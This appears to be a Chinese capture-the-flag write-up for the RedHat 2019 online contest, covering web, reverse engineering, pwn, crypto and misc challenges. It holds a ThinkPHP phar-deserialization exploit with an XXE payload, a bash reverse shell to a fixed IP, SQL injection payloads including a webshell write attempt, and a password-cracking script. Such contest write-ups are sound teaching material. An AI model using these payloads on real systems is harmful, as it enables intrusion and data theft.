第三届红帽杯线上赛 RedHat 2019 Writeup
Web
Ticket_System
存在XXE
可读取服务器文件,F12 查看网页源代码提示查看 /hints.txt
,获取到提示需要 RCE。
利用 ThinkPHP V5.2.0RC1
的 POP Chain,XXE
+ phar://
反弹 shell 后在根目录下trap "" 14
使程序不会中断退出,执行 /readflag
完成 challenge 即可获取flag。
Phar
exp 可参考: http://m0te.top/articles/Thinkphp%20POP/Thinkphp%20POP.html
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("Test" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Test" => "system");
public function get($system)
{
$this->data = array("Test" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("bash /tmp/uploads/5d1ef4eb1568455dcd57edb7081e8181/20191111/750e21eaf4887bb1d0476ff2c581d669.xml");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
攻击流程如下:
1.上传 bash.xml -> bash -i >& /dev/tcp/47.98.224.70/23333 0>&1
2. 获取 bash.xml 上传路径,利用 phar exp 生成 phar.phar,更改后缀为 .xml 后上传。
3. XXE 触发 phar 反序列化 反弹 shell
XXE Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "php://filter/resource=phar:///tmp/uploads/9ee7098eadd66450d552896a0685ea09/20191110/8d696ecb29fbc5ea014d405dad3c4d3e.xml"> ]>
<ticket><username>&b;</username><code>1</code></ticket>
easy_cms
下载xyh_cms
源代码到本地审计,在 \App\Api\Controller\LtController.class.php
中发现 ThinkPHP 3.2.3 的 SQLi. $order_by
参数可控:
$order_by = I('orderby', 'id DESC');
[...]
$_list = D2('ArcView', 'search_all')->nofield($nofield)->where($where)->order($order_by)->limit($limit)->select();
注入路由: /index.php?s=Api/Lt/alist.html
, POST:
orderby[title]=and(updatexml(1,concat(0x7e,(select/**/password/**/from/**/xyh_admin/**/where/**/id=1)),1))#
回显位置:/App/Runtime/Logs/Api/19_11_11.log
.
[ 2019-11-11T10:33:55+08:00 ] 10.12.0.34 /index.php?s=Api/Lt/alist.html
ERR: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~2f744817428b953e97ca427d116b18b'
注出管理员 CAs9HnXcQ
Hash 和 salt 值 Wk3zDr
后尝试爆破弱口令破解无果,尝试直接写入 shell:
# <?php phpinfo(); ?>
orderby=id/**/into/**/outfile/**/%27/var/www/html/shell.php%27/**/lines/**/starting/**/by/**/0x3c3f70687020706870696e666f2829203f3e/**/%23
由于 secure-file-priv 限制写入失败,尝试漫游数据库,共 4 个库,其中 3 个库为 mysql 自带库,当前库本地测试有 39 个表,注入到题目环境发现有 40 个表,则多出来的一个表很可能为 flag 表。
select table_name from information_schema.tables where table_name like 'f%' and table_schemata=database()
得知 flag 表名为 fl4g
,有两列 id,flaag
. 可通过延时注入、报错注入等方式获取数据,采用报错注入比较快速,由于报错注入有长度限制可分两次进行注出完整 flag,Payload如下:
# 报错注入
orderby[title]=and(updatexml(1,concat(0x7e,(select/**/flaag/**/from/**/fl4g)),1))#
orderby[title]=and(updatexml(1,concat(0x7e,(select/**/substring((select/**/flaag/**/from/**/fl4g),20))),1))#
# 延时注入 响应 404 即为 True
orderby[if(]=substr((select/**/flaag/**/from/**/fl4g),1,1)='f',sleep(1),1))
获取到 flag{399e13ad-2ecb-4256-8871-c6325e6cd704}.
尝试碰撞管理员密码的脚本:
# coding = utf-8
import threading
import Queue
import hashlib
Q = Queue.Queue()
with open('passwd.txt') as file:
for i in file:
oldmd5 = str(hashlib.md5(str(str(hashlib.md5(str(i.split("\n")[0]).encode()).hexdigest())+'Wk3zDr').encode()).hexdigest())
if '2f744817428b953e97ca427d116b18b7' == oldmd5:
print(hashlib.md5(str(str(hashlib.md5(str(i.split("\n")[0]).encode()).hexdigest())+'Wk3zDr').encode()).hexdigest())
break
else:
print("Fuck")
RE (by pwnht)
xx
从题目上可以联想到xxtea
关键判断在这了,如果,v20加密之后的字串和v30逐位比较,如果10次比较成功,就会输出 you win ,那么,之后看v20怎么来的就可以了
然后正向看,在sub_140001AB0() 函数里面,魔数 0x61C88647 为xxtea加密,那么,如果想得到明文需要key,那么怎么生成key
用输入的前四位作为key的前4位(前四位肯定是flag。。。当时还寻思着爆破来着2333),高12个字节均为0
然后进行一个下面的操作,就得到了v20,逆向一下,就可以了
#include <stdint.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}
int main()
{
unsigned int key[4] = { 0x67616c66, 0, 0, 0 };
char target[24]={0xCE, 0xBC, 0x40, 0x6B, 0x7C, 0x3A, 0x95, 0xC0, 0xEF, 0x9B, 0x20, 0x20, 0x91, 0xF7, 0x02, 0x35,0x23, 0x18, 0x02, 0xC8, 0xE7, 0x56, 0x56, 0xFA};
for(int i=23;i>0;i--){
int index = i/3;
if(index > 0){
while (index > 0){
index --;
target[i] ^= target[index];
}
}
}
char s[24]="";
s[2] = target[0];
s[0] = target[1];
s[3] = target[2];
s[1] = target[3];
s[6] = target[4];
s[4] = target[5];
s[7] = target[6];
s[5] = target[7];
s[10] = target[8];
s[8] = target[9];
s[11] = target[10];
s[9] = target[11];
s[14] = target[12];
s[12] = target[13];
s[15] = target[14];
s[13] = target[15];
s[18] = target[16];
s[16] = target[17];
s[19] = target[18];
s[17] = target[19];
s[22] = target[20];
s[20] = target[21];
s[23] = target[22];
s[21] = target[23];
btea((uint32_t*)s, -6, key);
printf("%s\n",s);
}
easyRE
这个题目有一个坑点,就是,过了main函数这个判断,的到不是flag,而是,看雪版主发的一个主动防御的文章???
其实真正的条件在fini_arrary调用的函数
只要过这个判断就可以了,正常情况是过不了这个条件的,因为v5是个随机数,不可预期,但是由于,puts为flag字串的话,前四位一定为flag,flag字串和byte_6CC0A0的前四位异或,就能的到v8的值,然后再异或输出flag
#!/usr/bin/env python
target=[0x40,0x35,0x20,0x56,0x5D,0x18,0x22,0x45,0x17,0x2F,0x24,0x6E,0x62,0x3C,0x27,0x54,0x48,0x6C,0x24,0x6E,0x72,0x3C,0x32,0x45,0x5B]
key=[]
flag="flag"
for i in flag:
key.append(ord(i)^target[flag.index(i)])
flag=""
for i in range(0,0x19):
flag+=chr(target[i]^key[i%4])
print flag
childRE
首先正向分析,根据调试,这一段代码会打乱你的输入,是一个位置互换的的算法,但是不改变的你输入的值,你输入是和互换的位置是没有关系的
然后,再逆向分析
这里求出 output string ,得到output string为*private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char )
得到的长度62,而输入的为31,怎么才能的得到这个呢??
百度了一下这个函数
这个函数是为了防止符号冲突,写成特定的格式,防止冲突,那么,这个可以扩展字串吗,当然,我们可以看到output string为一个函数的声明的格式,所以,我输入31个字节,也是可以的到62个字节的
#!/usr/bin/env python
str_remainder = '(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&'
str_quotient = '55565653255552225565565555243466334653663544426565555525555222'
src = '1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'
output_string=""
for i in range(len(str_quotient)):
output_string+=chr(src.index(str_remainder[i])+src.index(str_quotient[i])*23)
#private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)
str_input = '1234567890abcdefghijklmnopqstuv'
str_encode = 'fg8hi94jk0lma52nobpqc6stduve731'
flag = []
#?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z
encode_input = '?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z'
decode_input=""
for i in range(len(encode_input)):
decode_input+=encode_input[str_encode.index(str_input[i])]
print decode_input
最后flag就是decode_input的md5值.
Pwn (by pwnht)
three
这个就不算漏洞函数了吧,算是后门函数,让你读三个bit去之后执行这个三个bit如果返回结果正确就就输出1,不然输出二,如果仔细观察内存的话call这个3bit的时候,寄存器的ecx是我们之前tell me输入的buf的指针,正好 asm(mov eax,[ecx],ret) 是三个字节,所以,爆破就完事了
from pwn import *
__author__ = '3summer'
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims,drop=True:io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
code = '\x8b\x01\xc3'
io = None
flag = []
for i in range(0x20):
for j in range(30, 128):
try:
io = process('./pwn')
# io=remote("47.104.190.38",12001)
sla('index:\n',str(i))
sa('much!\n',code)
sla('size:\n','2')
sa('Tell me:\n',chr(j))
isright = ru('\n')
io.close()
if isright == '1':
flag.append(chr(j))
break
except:
pass
if chr(j) == '}':
break
print ''.join(flag)
Crypto
Broadcast
粗心的Alice在制作密码的时候,把明文留下来,聪明的你能快速找出来吗?
直接在 Python 脚本中获取明文 flag{fa0f8335-ae80-448e-a329-6fb69048aae4}
。
Misc
签到
完成问卷,获取 flag{Red70_RedHat}
。
Advertising for Marriage
someone want a girlfriend.....
分析内存镜像进程活动内容:
volatility pslist -f Advertising\ for\ Marriage.raw
发现 notepad.exe
和 mspaint.exe
,分析 notepad.exe
:
volatility notepad -f Advertising\ for\ Marriage.raw
获取到 Hint: ????needmoneyandgirlfirend.
导出 mspaint.exe 进程内存文件,修改后缀为 .data
使用 Gimp 分析原始图像获得:
翻转 Pineapple 获取到 b1cx(菠萝吹雪),即 b1cxneedmoneyandgirlfirend
.
filescan
扫描文件发现桌面上存在图片 vegetable.png
,导出图像重命名分析。
volatility dumpfiles -f Advertising\ for\ Marriage.raw -Q 0x000000000249ae78 -D ./
打开图片提示 IHDR: CRC ERROR
,估计宽度或高度被修改,使用脚本计算实际宽高并修复。
# https://impakho.com/
# coding = utf-8
import os
import binascii
import struct
img = open("vegetable.png", "rb").read()
for w in range(1024):
for h in range(1024):
data = img[0xc:0x10] + struct.pack('>i',w) + struct.pack('>i',h) + img[0x18:0x1d]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == struct.unpack('>i',img[0x1d:0x21])[0] & 0xffffffff:
print w, h
print hex(w), hex(h)
open("vegetable_new.png", "wb").write(img[:0xc] + data + img[0x1d:])
exit()
获取到图片含有模糊的 flag 难以辨认,同时分析出 lsb
含有可能含有隐藏信息。
使用 cloacked-pixel/lsb.py 解密获取到隐藏信息:
使用 Vigenere 在线解密, key 同为 b1cxneedmoneyandgirlfirend
, 获取到 flag{d7f1417bfafbf62587e0}.
恶臭的数据包
野兽前辈想玩游戏,但是hacker妨碍了他连上无线网,前辈发出了无奈的吼声。
打开.cap
分析无线流量,WiFi 连接认证的重点在 WPA 的四次握手包,也就是 eapol
协议的包,过滤一下:
aircrack-ng -w ./wpa-dictionary/common.txt cacosmia.cap
在 Wireshark
的 编辑 - 首选项 - Protocol(协议) - IEEE802.11 - Decryption Keys导入:mamawoxiangwantiequan:12345678
,获取解密流量。
在 tcp.stream eq 24
中提取出 114514.png
,WinHex 打开发现后面隐藏有 Zip 归档,binwalk
分离即可。
观察 Cookie 字段为 JWT 解密得到 hint
(for security, I set my password as a website which i just pinged before),过滤 icmp
和 dns
流量最终锁定到 26rsfb.dnslog.cn
即为 password,解压获得 flag{f14376d0-793e-4e20-9eab-af23f3fdc158}
.
0x02 玩具车
给出的WAV文件是对于所给图片各个通道的时序-电平采样数据,通过导入可以获得各个通道在采样中的电平状态。由wav文件属性可知采样率8000,于是每8000次取样,归一化转换成0-1数据表示电平状态。根据电机驱动模块的工作状态可以得到小车的5种运行状态:前进,后退,左转,右转,不动。对应模拟小车的行进状态画出小车轨迹即可得到flag的图像,最后上下翻转,翻译出flag{63177867-8a43-47ab-9048-298867128b3a}
。
附 Python 脚本 (by FXTi):
from scipy.io import wavfile
import numpy as np
import math
import matplotlib.pyplot as plt
flist = [
'L293_1_A1.wav',
'L293_1_A2.wav',
'L293_1_B1.wav',
'L293_1_B2.wav',
'L293_1_EnA.wav',
'L293_1_EnB.wav',
'L293_2_A1.wav',
'L293_2_A2.wav',
'L293_2_B1.wav',
'L293_2_B2.wav',
'L293_2_EnA.wav',
'L293_2_EnB.wav',
]
def convert(fname):
sample_rate, sig = wavfile.read(fname)
sig = sig.tolist()
sample = []
for i in range(788):
tmp = sig[i*8000]
if tmp > 0:
sample.append(1)
else:
sample.append(0)
return sample
tou_a1 = convert(flist[0])
tou_a2 = convert(flist[1])
tou_b1 = convert(flist[2])
tou_b2 = convert(flist[3])
tou_ena = convert(flist[4])
tou_enb = convert(flist[5])
wei_a1 = convert(flist[6])
wei_a2 = convert(flist[7])
wei_b1 = convert(flist[8])
wei_b2 = convert(flist[9])
wei_ena = convert(flist[10])
wei_enb = convert(flist[11])
lb = [] #left before
rb = []
la = []
ra = []
for i in range(len(tou_a1)):
if tou_ena[i] == 1:
if tou_a1[i] == 0 and tou_a2[i] == 0:
lb.append(0)
if tou_a1[i] == 0 and tou_a2[i] == 1:
lb.append(1)
if tou_a1[i] == 1 and tou_a2[i] == 0:
lb.append(-1)
if tou_a1[i] == 1 and tou_a2[i] == 1:
lb.append(0)
else:
lb.append(-2)
if tou_enb[i] == 1:
if tou_b1[i] == 0 and tou_b2[i] == 0:
rb.append(0)
if tou_b1[i] == 0 and tou_b2[i] == 1:
rb.append(1)
if tou_b1[i] == 1 and tou_b2[i] == 0:
rb.append(-1)
if tou_b1[i] == 1 and tou_b2[i] == 1:
rb.append(0)
else:
rb.append(-2)
if wei_ena[i] == 1:
if wei_a1[i] == 0 and wei_a2[i] == 0:
la.append(0)
if wei_a1[i] == 0 and wei_a2[i] == 1:
la.append(1)
if wei_a1[i] == 1 and wei_a2[i] == 0:
la.append(-1)
if wei_a1[i] == 1 and wei_a2[i] == 1:
la.append(0)
else:
la.append(-2)
if wei_enb[i] == 1:
if wei_b1[i] == 0 and wei_b2[i] == 0:
ra.append(0)
if wei_b1[i] == 0 and wei_b2[i] == 1:
ra.append(1)
if wei_b1[i] == 1 and wei_b2[i] == 0:
ra.append(-1)
if wei_b1[i] == 1 and wei_b2[i] == 1:
ra.append(0)
else:
ra.append(-2)
direct = []
for i in range(len(lb)):
tmp = (lb[i], rb[i], la[i], ra[i])
if tmp == (-1, 1, -1, 1):
direct.append('left')
continue
if tmp == (1, -1, 1, -1):
direct.append('right')
continue
if tmp == (-1, -1, -1, -1):
direct.append('back')
continue
if tmp == (1, 1, 1, 1):
direct.append('forward')
continue
if tmp == (-2, -2, -2, -2):
direct.append('wait')
continue
print("unexcepted direction: " + str(tmp))
turn = (90) / 180 * math.pi
ford = 1
now = math.pi / 2
x = 0
y = 0
point = [(0,0)]
for di in direct:
if 'wait' == di:
point.append((x, y))
if 'left' == di:
now += turn
point.append((x, y))
if 'right' == di:
now -= turn
point.append((x, y))
if 'forward' == di:
x += ford * math.cos(now)
y += ford * math.sin(now)
point.append((x, y))
if 'back' == di:
x -= ford * math.cos(now)
y -= ford * math.sin(now)
point.append((x, y))
print("\n".join(direct))
xx = []
yy = []
for i in point:
xx.append(i[0])
yy.append(i[1])
plt.plot(xx, yy)
plt.show()